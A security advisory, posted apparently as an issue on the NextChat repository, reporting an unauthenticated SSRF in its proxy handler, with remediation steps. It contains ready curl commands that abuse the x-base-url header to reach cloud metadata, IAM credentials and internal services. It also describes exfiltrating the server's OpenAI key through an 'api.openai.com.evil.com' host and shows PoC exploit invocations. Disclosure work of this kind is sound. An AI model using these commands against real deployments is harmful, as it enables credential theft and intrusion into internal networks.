ChatGPTNextWeb / ChatGPTNextWeb/NextChat
[Security] SSRF via Proxy Endpoint
- Dominant language
- TypeScript
- Stars
- 88.8k
- Forks
- 59.1k
- PR merge metrics
- No merged PRs in 30d
Description
# ChatGPT-Next-Web Unauthenticated Server-Side Request Forgery (SSRF) via Proxy Handler
## Summary
ChatGPT-Next-Web (NextChat) contains a critical unauthenticated Server-Side Request Forgery (SSRF) vulnerability in its proxy API handler. The proxy handler at `app/api/[provider]/[...path]/route.ts` lacks both authentication and URL validation, allowing any unauthenticated attacker to make arbitrary HTTP requests to internal services through the server.
- **Affected Component:** Proxy API handler (`app/api/proxy.ts`)
- **Attack Vector:** Any unrecognized provider name in the URL path triggers the default proxy handler
- **Authentication:** None required
- **Impact:** Full internal network access, cloud metadata exposure, API key leakage
- **CVSS Score:** 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Note: Edge Runtime limits protocol to HTTP/HTTPS only (partial mitigation).
- Self-hosted deployments (Docker) have no such restriction, impact is higher.
## Affected Versions
- **All versions** up to and including the latest commit (as of 2026-04-23)
- The vulnerability exists in the proxy handler since its introduction and has no authentication mechanism
## Technical Details
### Root Cause
The proxy handler at `app/api/proxy.ts` reads a target URL from the `x-base-url` request header and forwards the request without any authentication or URL validation:
```typescript
// app/api/proxy.ts (lines 20-22)
const subpath = params.path.join("/");
const fetchUrl = `${req.headers.get("x-base-url")}/${subpath}?${req.nextUrl.searchParams.toString()}`;
```
The handler is reached when a provider name in the API path does not match any known provider (OpenAI, Anthropic, Google, etc.):
```typescript
// app/api/[provider]/[...path]/route.ts (line 40-41)
default:
return proxyHandler(req, { params });
```
### Authentication Bypass
Unlike all other API handlers (OpenAI, Anthropic, etc.) which call the `auth()` function, the proxy handler imports no authentication module:
```typescript
// app/api/proxy.ts - imports only:
import { NextRequest, NextResponse } from "next/server";
import { getServerSideConfig } from "@/app/config/server";
```
There is no Next.js middleware (`middleware.ts`) that could enforce global authentication.
### URL Validation Absence
The proxy handler performs no validation on the `x-base-url` header:
- No scheme validation (http/https)
- No hostname/IP validation
- No private/internal IP blocklist
- No domain whitelist
### Response Disclosure
The full HTTP response from the target URL is returned to the attacker:
```typescript
// app/api/proxy.ts (lines 67-71)
return new Response(res.body, {
status: res.status,
statusText: res.statusText,
headers: newHeaders,
});
```
## Attack Scenarios
### 1. Cloud Metadata Access (AWS/GCP/Azure)
```bash
# AWS EC2 metadata
curl -H "x-base-url: http://169.254.169.254/latest/meta-data/" \
"https://target.com/api/ssrf/meta"
# AWS IAM credentials
curl -H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
"https://target.com/api/ssrf/creds"
```
### 2. Internal Network Scanning
```bash
# Scan internal services
curl -H "x-base-url: http://192.168.1.1/" \
"https://target.com/api/ssrf/router"
curl -H "x-base-url: http://127.0.0.1:6379/" \
"https://target.com/api/ssrf/redis"
```
### 3. API Key Extraction
When `x-base-url` contains `api.openai.com`, the server injects its configured OpenAI API key into the forwarded request. While the response headers are cleaned, the key is still transmitted to the target:
```typescript
// app/api/proxy.ts (lines 54-60)
const baseUrl = req.headers.get("x-base-url");
if (baseUrl?.includes("api.openai.com")) {
if (!serverConfig.apiKey) { ... }
headers.set("Authorization", `Bearer ${serverConfig.apiKey}`);
}
```
An attacker could set up a server at `api.openai.com.evil.com` to capture the API key.
## Impact
1. **Internal Network Access:** Full read/write access to any HTTP service reachable from the server, including internal APIs, databases, and microservices.
2. **Cloud Credential Theft:** On cloud deployments (AWS, GCP, Azure), an attacker can retrieve instance metadata including IAM role credentials, allowing lateral movement within the cloud environment.
3. **API Key Leakage:** The server's OpenAI API key can be exfiltrated by setting `x-base-url` to a domain containing "api.openai.com" in the hostname.
4. **Port Scanning:** Attackers can enumerate open ports on internal networks by observing response timing and status codes.
5. **Data Exfiltration:** Any data accessible via HTTP from the server can be read, including internal documentation, configuration files, and secrets.
## Remediation
1. **Add Authentication:** Apply the existing `auth()` function to the proxy handler:
```typescript
import { auth } from "./auth";
// In handle function:
const authResult = auth(req, ModelProvider.GPT);
if (authResult.error) {
return NextResponse.json(authResult, { status: 401 });
}
```
2. **Validate URL:** Implement strict URL validation:
- Whitelist allowed domains
- Block private IP ranges (RFC 1918, link-local, loopback)
- Block cloud metadata endpoints (169.254.169.254)
- Restrict URL schemes to HTTPS only
3. **Remove OpenAI API Key Injection:** The unconditional injection of the server API key when the URL contains "api.openai.com" is dangerous. This check should be removed or made more specific.
## PoC
See attached `poc_nextchat_ssrf_proxy.py` for a comprehensive proof-of-concept.
```bash
# Quick test
python3 poc_nextchat_ssrf_proxy.py --check https://target.com
# Fetch cloud metadata
python3 poc_nextchat_ssrf_proxy.py --exploit https://target.com \
--internal-url http://169.254.169.254/latest/meta-data/
# Scan internal ports
python3 poc_nextchat_ssrf_proxy.py --scan https://target.com --host 127.0.0.1
```
## Discovery
- **Discovered by:** icysun & Yashon
- **Discovery date:** 2026-04-23
- **Verified:** Code audit confirmed (no runtime test performed)
## CVE Request
We request a CVE identifier for this vulnerability.
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.